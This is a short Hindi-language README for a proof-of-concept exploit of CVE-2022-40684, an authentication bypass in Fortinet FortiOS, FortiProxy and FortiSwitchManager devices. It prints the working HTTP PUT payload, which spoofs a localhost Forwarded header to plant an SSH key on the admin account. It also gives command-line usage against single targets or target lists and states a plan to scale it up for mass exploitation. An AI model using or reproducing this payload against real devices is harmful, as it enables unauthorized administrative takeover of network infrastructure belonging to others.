CVE-2022-40684 by 1vere$k

अभी के लिए यह CVE-2022-40684 का एक POC कॉपी है जो Fortinet FortiOS, FortiProxy और FortiSwitchManager उपकरणों को प्रभावित करता है।
से कॉपी किया गया https://github.com/horizon3ai/CVE-2022-40684

विश्लेषण

एक्सप्लॉट साधारण पेलोड का उपयोग करता है:

		PUT /api/v2/cmdb/system/admin/admin HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Report Runner
        Content-Type: application/json
        Forwarded: for=[127.0.0.1]:8000;by=[127.0.0.1]:9000;
        Content-Length: 610
        {
        "ssh-public-key1": "fake-key"
        }

सारांश

यह POC निर्दिष्ट उपयोगकर्ता के लिए SSH कुंजी सेट करने के लिए प्रमाणीकरण बाईपास भेद्यता का दुरुपयोग करता है।

भविष्य की योजनाएँ

सामूहिक एक्सप्लॉट के लिए बहु-लक्ष्यों और बहु-सर्वरों के साथ पूर्ण पैमाने के एक्सप्लॉट में विकसित करना।

CLI उपयोग

1. chmod +x cve-2022-40684.sh
2. ./cve-2022-40684 <TARGET_IP>
 or
2. ./cve-2022-40684 <FILE_NAME>